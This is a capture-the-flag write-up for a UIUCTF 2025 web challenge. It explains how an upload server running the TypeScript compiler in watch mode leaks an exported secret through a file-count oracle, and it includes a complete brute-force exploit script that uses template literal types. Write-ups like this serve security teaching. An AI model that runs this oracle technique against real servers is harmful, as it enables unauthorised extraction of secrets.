← Back to writeups

UIUCTF 2025 — Upload, Upload, and Away!

Keeping track of all these files makes me so dizzy I feel like I'm floating in space.

Instancer url: https://upload-upload-and-away.chal.uiuc.tf/

Flag format: uiuctf{[a-z_]+}

We're given a TypeScript server that looks like this:

js

1import express from "express";
2import path from "path";
3import multer from "multer";
4import fs from "fs";
5
6const app = express();
7const PORT = process.env.PORT || 3000;
8
9let fileCount = 0;
10
11app.get("/", (req, res) => {
12  res.sendFile(path.join(__dirname, "../public/index.html")); // paths are relative to dist/
13});
14
15const imagesDir = path.join(__dirname, "../images");
16if (!fs.existsSync(imagesDir)) {
17  fs.mkdirSync(imagesDir, { recursive: true });
18}
19
20const storage = multer.diskStorage({
21  destination: function (req, file, cb) {
22    cb(null, imagesDir);
23  },
24  filename: function (req, file, cb) {
25    cb(null, path.basename(file.originalname));
26  },
27});
28
29const upload = multer({ storage });
30
31app.get("/filecount", (req, res) => {
32  res.json({ file_count: fileCount });
33});
34
35app.post("/upload", upload.single("file"), (req, res) => {
36  if (!req.file) {
37    return res.status(400).send("No file uploaded.");
38  }
39  fileCount++;
40  res.send("File uploaded successfully.");
41});
42
43app.delete("/images", (req, res) => {
44  const imagesDir = path.join(__dirname, "../images");
45  fs.readdir(imagesDir, (err, files) => {
46    if (err) {
47      return res.status(500).send("Failed to read images directory.");
48    }
49    let deletePromises = files.map((file) =>
50      fs.promises.unlink(path.join(imagesDir, file))
51    );
52    Promise.allSettled(deletePromises)
53      .then(() => {
54        fileCount = 0;
55        res.send("All files deleted from images directory.");
56      })
57      .catch(() => res.status(500).send("Failed to delete some files."));
58  });
59});
60
61app.listen(PORT, () => {
62  return console.log(`Express is listening at http://localhost:${PORT}`);
63});
64
65export const flag = "uiuctf{fake_flag_xxxxxxxxxxxxxxxx}";

The express app exposes a few routes that let us upload files to the ../images directory on the server, as well as query the "file count" tracking the number of files that have been uploaded.

Curiously, looking in the project package.json,

json

1{
2  "name": "tschal",
3  "version": "1.0.0",
4  "scripts": {
5    "start": "concurrently \"tsc -w\" \"nodemon dist/index.js\""
6  },
7  "keywords": [
8    "i miss bun, if only there was an easier way to use typescript and nodejs :)"
9  ],
10  "author": "",
11  "license": "ISC",
12  "description": "",
13  "devDependencies": {
14    "@types/express": "^5.0.3",
15    "@types/multer": "^2.0.0",
16    "concurrently": "^9.2.0",
17    "nodemon": "^3.1.10",
18    "typescript": "^5.8.3"
19  },
20  "dependencies": {
21    "express": "^5.1.0",
22    "multer": "^2.0.2"
23  }
24}

the server uses concurrently to run tsc -w and nodemon dist/index.js simultaneously. The key observation is this:

  • tsc -w runs the TypeScript compiler in watch mode, telling it to automatically recompile the project when source files have changed.
  • nodemon will restart the server when a .js file has changed.
  • Since the file count is just a local variable, when the server restarts it will be reset to 0.

The above combine to give us a TypeScript error oracle: uploading TypeScript files to the server will trigger tsc to recompile the project. If the compilation succeeds, new .js files will be generated that will trigger nodemon to restart the server and reset the file count; otherwise, the file count will be incremented as normal. Querying the file count, therefore, lets us check whether arbitrary TypeScript code compiles on the server.

Indeed, we can test with simple TS files that both fails to and succeed in compiling. Uploading a TypeScript file that fails to compile, we get

ts

1import { flag }  from '../index';
2
3export const x: number = flag;

bash

15:47:53 PM - File change detected. Starting incremental compilation...
2[0]
3[0] images/test.ts(3,14): error TS2322: Type 'string' is not assignable to type 'number'.
4[0]
5[0] 5:47:53 PM - Found 1 error. Watching for file changes.

but using a file that successfully compiles, we instead get

ts

1import { flag }  from '../index';
2
3export const x: string = flag;

bash

15:44:58 PM - File change detected. Starting incremental compilation...
2[0]
3[0]
4[0] 5:44:59 PM - Found 0 errors. Watching for file changes.
5[1] [nodemon] restarting due to changes...
6[1] [nodemon] starting `node dist/index.js`
7[1] Express is listening at http://localhost:3000

and our file count is reset to 0.

We can use this error oracle to leak the flag with a technique reminiscent of BuckeyeCTF 2023: since the flag is exported from index.ts as a const variable, we can use template literal types to assert against substrings of the flag.

Concretely, for those not familiar with this technique, if the flag exported by index.ts was

ts

1export const flag = 'uiuctf{test_flag}'  // flag: "uiuctf{test_flag}"

then the first assignment would successfully type check, while the second fails (since the first character of the flag string is not a):

ts

1const foo: `u${string}` = flag;

ts

1const foo: `a${string}` = flag;  // Type '"uiuctf{test_flag}"' is not assignable to type '`a${string}`'.

Thus, we just need to use template literals to brute force the flag character by character, checking the file count each time to determine if the character was correct. Here's a simple script that does just that:

js

1const BASE_URL = 'https://inst-ff5e88fd8f55fd4e-upload-upload-and-away.chal.uiuc.tf/';
2
3function sleep(ms) {
4    return new Promise((resolve) => setTimeout(resolve, ms));
5}
6
7async function getFileCount() {
8    const { file_count } = await (await fetch(`${BASE_URL}/filecount`)).json();
9    return file_count;
10}
11
12async function deleteImages() {
13    await fetch(`${BASE_URL}/images`, {
14        method: 'DELETE'
15    });
16}
17
18async function uploadCode(code) {
19    const data = new FormData();
20    data.append('file', new Blob([code], { type: 'text/plain' }), 'test.ts');
21
22    const res = await (await fetch(`${BASE_URL}/upload`, {
23        method: 'POST',
24        body: data
25    })).text()
26
27    // console.log(res);
28}
29
30const charset = 'abcdefghijklmnopqrstuvwxyz_}'
31let flag = 'uiuctf{'
32
33async function bruteOnce(char) {
34    await deleteImages();
35    await uploadCode(`import { flag } from '../index'; export const x: \`${flag}${char}\$\{string\}\` = flag;`);
36
37    // Sleep so that the server has time to restart if the type check passes
38    await sleep(1500);
39    const count = await getFileCount();
40
41    return count === 0;
42}
43
44;(async () => {
45    while (true) {
46        for (const char of charset) {
47            console.log(char);
48            const valid = await bruteOnce(char);
49
50            if (!valid) continue;
51
52            flag += char;
53            console.log('flag:', flag);
54            break;
55        }
56
57        if (flag.at(-1) === '}') break;
58    }
59})();

Running the script for a few minutes, we get the flag.

Code

1uiuctf{turing_complete_azolwkamgj}